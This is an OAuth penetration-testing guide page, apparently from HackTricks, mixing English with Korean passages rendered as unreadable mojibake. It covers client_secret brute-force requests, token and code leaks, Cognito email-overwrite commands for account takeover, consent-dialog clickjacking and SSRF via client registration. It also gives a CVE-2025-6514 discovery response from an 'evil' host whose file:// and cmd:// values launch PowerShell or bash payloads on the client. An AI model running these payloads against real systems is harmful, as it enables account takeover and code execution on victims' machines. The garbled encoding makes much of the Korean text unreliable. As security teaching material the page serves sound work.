์๋น์ค ์ ๊ณต์์ bruteforce the client_secret์ identity provider์ ํจ๊ป ์๋ํ์ฌ ๊ณ์ ์ ํ์ทจํ๋ ค ํ ์ ์์ต๋๋ค.
BF๋ฅผ ์ํ ์์ฒญ์ ๋ค์๊ณผ ์ ์ฌํ ์ ์์ต๋๋ค:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDKโs API request history/logs and recover the victimโs OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource ownerโs browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs โ if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes โ returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state โ React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage โ
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise โlowโ bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime โ RFC 6749 recommends minutes, not hours. Try redeeming the code after 5โ10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse โ send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions โ fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling โ a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attackerโs first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app Bโs token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code โ token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
๋ค๋ฅธ ์ฑ ํ ํฐ ์ ์ฉ
As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.
This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and arenโt checking if the token was granted to their app ID.
Two links & cookie
According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.
To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt wonโt inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.
Prompt Interaction Bypass
As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.
response_mode
As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Groupโs clickjacking PoC generator and record how easily a victim authorizes the attackerโs app. For additional payload ideas see Clickjacking.
OAuth ROPC flow - 2 FA bypass
According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then itโs possible to bypass 2FA using that token.
ATO on web page redirecting based on open redirect to referrer
This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Key Points:
- Dynamic Client Registration is often mapped to
/registerand accepts details likeclient_name,client_secret,redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests. - This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
logo_uri: A URL for the client applicationโs logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.jwks_uri: A URL to the clientโs JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.sector_identifier_uri: References a JSON array ofredirect_uris, which the server might fetch, creating an SSRF opportunity.request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
Exploitation Strategy:
- SSRF can be triggered by registering a new client with malicious URLs in parameters like
logo_uri,jwks_uri, orsector_identifier_uri. - While direct exploitation via
request_urismay be mitigated by whitelist controls, supplying a pre-registered, attacker-controlledrequest_urican facilitate SSRF during the authorization phase.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote โค0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณต๋ URI์ ๋ํด OS ํธ๋ค๋ฌ๋ฅผ ์คํํฉ๋๋ค. Windows๋
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."๊ฐ์ ํ์ด๋ก๋๋ฅผ ํ์ฉํ๊ณ , macOS/Linux๋file:///Applications/Calculator.app/...๋๋ ๋ฑ๋ก๋ ๊ฒฝ์ฐcmd://bash -lc '<payload>'๊ฐ์ ์ปค์คํ ์คํด๋ ํ์ฉํฉ๋๋ค. - ์ด ๋์์ ์ฌ์ฉ์ ์ํธ์์ฉ ์ด์ ์ ๋ฐ์ํ๋ฏ๋ก, ๋จ์ง ํด๋ผ์ด์ธํธ๋ฅผ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๊ตฌ์ฑํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ฝ๋ ์คํ์ด ๋ฐ์ํฉ๋๋ค.
How to test
- discovery๋ฅผ HTTP(S)๋ก ์ํํ๊ณ ๋ก์ปฌ์์ ๋ฐํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฌ๋ ๋ชจ๋ OAuth ์ง์ ๋ฐ์คํฌํ/์์ด์ ํธ(์: Electron apps, CLI helpers, thick clients)๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค.
- discovery ์๋ต์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ํธ์คํ
ํ๊ณ
authorization_endpoint,device_authorization_endpoint๋๋ ์ ์ฌํ ํ๋๋ฅผfile://,cmd://, UNC ๊ฒฝ๋ก ๋๋ ๋ค๋ฅธ ์ํํ ์คํด์ผ๋ก ๊ต์ฒดํฉ๋๋ค. - ํด๋ผ์ด์ธํธ๊ฐ ์คํด/ํธ์คํธ๋ฅผ ๊ฒ์ฆํ๋์ง ๊ด์ฐฐํฉ๋๋ค. ๊ฒ์ฆ์ด ์๋ค๋ฉด ์ฆ์ ์ฌ์ฉ์ ์ปจํ ์คํธ์์ ์คํ๋์ด ์ทจ์ฝ์ ์ด ์ฆ๋ช ๋ฉ๋๋ค.
- ์ ์ฒด ๊ณต๊ฒฉ ํ๋ฉด์ ๋งคํํ๊ธฐ ์ํด ๋ค๋ฅธ ์คํด๋ค(
ms-excel:,data:text/html,, ์ปค์คํ ํ๋กํ ์ฝ ํธ๋ค๋ฌ ๋ฑ)๋ก ๋ฐ๋ณต ํ ์คํธํ์ฌ ํฌ๋ก์คํ๋ซํผ ๋ฒ์๋ฅผ ์ฆ๋ช ํฉ๋๋ค.
OAuth providers Race Conditions
ํ๋ซํผ์ด OAuth ๊ณต๊ธ์์ธ ๊ฒฝ์ฐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ณ ๊ฐ๋ฅํ Race Conditions๋ฅผ ํ ์คํธํ์ธ์.
Mutable Claims Attack
OAuth์์ sub ํ๋๋ ์ฌ์ฉ์๋ฅผ ๊ณ ์ ํ๊ฒ ์๋ณํ์ง๋ง Authorization Server๋ง๋ค ํ์์ด ๋ค๋ฅผ ์ ์์ต๋๋ค. ์ผ๋ถ ํด๋ผ์ด์ธํธ๋ ์ฌ์ฉ์ ์๋ณ์ ํ์คํํ๊ธฐ ์ํด ์ด๋ฉ์ผ์ด๋ ์ฌ์ฉ์ ํธ๋ค์ ์ฌ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ ์ํํฉ๋๋ค:
- ์ผ๋ถ Authorization Server๋ ์ด๋ฌํ ์์ฑ(์: ์ด๋ฉ์ผ)์ด ๋ถ๋ณ์์ ๋ณด์ฅํ์ง ์์ต๋๋ค.
- ์ผ๋ถ ๊ตฌํ์์๋โ์: โLogin with Microsoftโโํด๋ผ์ด์ธํธ๊ฐ ์ด๋ฉ์ผ ํ๋์ ์์กดํ๋๋ฐ, ํด๋น ํ๋๋ Entra ID์์ ์ฌ์ฉ์๊ฐ ์ ์ดํ ์ ์์ผ๋ฉฐ ๊ฒ์ฆ๋์ง ์์ต๋๋ค.
- ๊ณต๊ฒฉ์๋ ์์ฒด Azure AD ์กฐ์ง(์: doyensectestorg)์ ์์ฑํ๊ณ ์ด๋ฅผ ์ด์ฉํด Microsoft ๋ก๊ทธ์ธ์ ์ํํจ์ผ๋ก์จ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
- Object ID(sub์ ์ ์ฅ๋จ)๋ ๋ถ๋ณํ๊ณ ์์ ํ์ง๋ง, ๋ณ๊ฒฝ ๊ฐ๋ฅํ ์ด๋ฉ์ผ ํ๋์ ์์กดํ๋ฉด ๊ณ์ ํ์ทจ๊ฐ ๊ฐ๋ฅํด์ง๋๋ค(์: victim@gmail.com๊ณผ ๊ฐ์ ๊ณ์ ํ์ด์ฌํน).
Client Confusion Attack
Client Confusion Attack์์๋ OAuth Implicit Flow๋ฅผ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ต์ข access token์ด ์์ ์ Client ID๋ฅผ ์ํด ์์ฑ๋ ๊ฒ์ธ์ง ๊ฒ์ฆํ์ง ๋ชปํฉ๋๋ค. ๊ณต๊ฒฉ์๋ Google์ OAuth Implicit Flow๋ฅผ ์ฌ์ฉํ๋ ๊ณต๊ฐ ์น์ฌ์ดํธ๋ฅผ ์ค์ ํ์ฌ ์์ฒ ๋ช ์ ์ฌ์ฉ์๋ฅผ ์์ฌ ๋ก๊ทธ์ธํ๊ฒ ํ๊ณ ๊ณต๊ฒฉ์ ์ฌ์ดํธ์ฉ์ผ๋ก ๋ฐ๊ธ๋ access token์ ์์งํ ์ ์์ต๋๋ค. ๋ง์ฝ ์ด ์ฌ์ฉ์๋ค์ด ๋ค๋ฅธ ์ทจ์ฝํ ์น์ฌ์ดํธ์๋ ๊ณ์ ์ ๊ฐ์ง๊ณ ์๊ณ ๊ทธ ์ฌ์ดํธ๊ฐ token์ Client ID๋ฅผ ๊ฒ์ฆํ์ง ์๋๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ์์งํ ํ ํฐ์ ์ฌ์ฌ์ฉํด ํผํด์๋ฅผ ๊ฐ์ฅํ๊ณ ๊ณ์ ์ ํ์ทจํ ์ ์์ต๋๋ค.
Scope Upgrade Attack
Authorization Code Grant ํ์ ์ ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ธฐ ์ํด ์์ ํ ์๋ฒ ๊ฐ ํต์ ์ ํฌํจํฉ๋๋ค. ๊ทธ๋ฌ๋ Authorization Server๊ฐ Access Token Request์์ scope ํ๋ผ๋ฏธํฐ(ํด๋น RFC์ ์ ์๋์ง ์์ ํ๋ผ๋ฏธํฐ)๋ฅผ ์๋ฌต์ ์ผ๋ก ์ ๋ขฐํ๋ค๋ฉด, ์ ์์ ์ธ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ ๋์ ๊ถํ์ ์์ฒญํจ์ผ๋ก์จ authorization code์ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. Access Token์ด ์์ฑ๋ ํ Resource Server๋ ์ด๋ฅผ ๊ฒ์ฆํด์ผ ํฉ๋๋ค: JWT ํ ํฐ์ ๊ฒฝ์ฐ JWT ์๋ช ์ ํ์ธํ๊ณ client_id, scope ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํด์ผ ํ๋ฉฐ, ๋๋ค ๋ฌธ์์ด ํ ํฐ์ ๊ฒฝ์ฐ ์๋ฒ๋ ํ ํฐ์ ์ธ๋ถ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด Authorization Server์ ์ฟผ๋ฆฌํด์ผ ํฉ๋๋ค.
Redirect Scheme Hijacking
๋ชจ๋ฐ์ผ OAuth ๊ตฌํ์์ ์ฑ์ Authorization Code๊ฐ ํฌํจ๋ ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๋ฐ๊ธฐ ์ํด custom URI schemes๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ฌ๋ฌ ์ฑ์ด ๋์ผํ ์คํด์ ๋๋ฐ์ด์ค์ ๋ฑ๋กํ ์ ์์ผ๋ฏ๋ก ๋ฆฌ๋ค์ด๋ ํธ URI๋ฅผ ์ค์ง ์ ๋นํ ํด๋ผ์ด์ธํธ๋ง ์ ์ดํ๋ค๋ ๊ฐ์ ์ด ๊นจ์ง๋๋ค. ์๋ฅผ ๋ค์ด Android์์๋ com.example.app:// ๊ฐ์ Intent URI๊ฐ ์คํด๊ณผ ์ฑ์ intent-filter์ ์ ์๋ ์ ํ์ ํํฐ์ ๋ฐ๋ผ ์ฒ๋ฆฌ๋ฉ๋๋ค. Android์ intent ํด์์ ํนํ ์คํด๋ง ์ง์ ๋ ๊ฒฝ์ฐ ํญ๋์ ์ ์์ผ๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ์ ๊ตํ๊ฒ ๊ตฌ์ฑ๋ intent filter๋ฅผ ๊ฐ์ง ์
์ฑ ์ฑ์ ๋ฑ๋กํด authorization code๋ฅผ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค. ์ด๋ ์ฌ๋ฌ ์ฑ์ด ํด๋น ์ธํ
ํธ๋ฅผ ์ฒ๋ฆฌํ ์ ์์ ๋ ์ฌ์ฉ์ ์ํธ์์ฉ์ ํตํด ๋๋ Ostorlab์ ํ๊ฐ ํ๋ฆ๋์ ์ค๋ช
๋ ์ฐํ ๊ธฐ๋ฒ์ ์ด์ฉํด ๊ณ์ ํ์ทจ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ ์ ์์ต๋๋ค.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


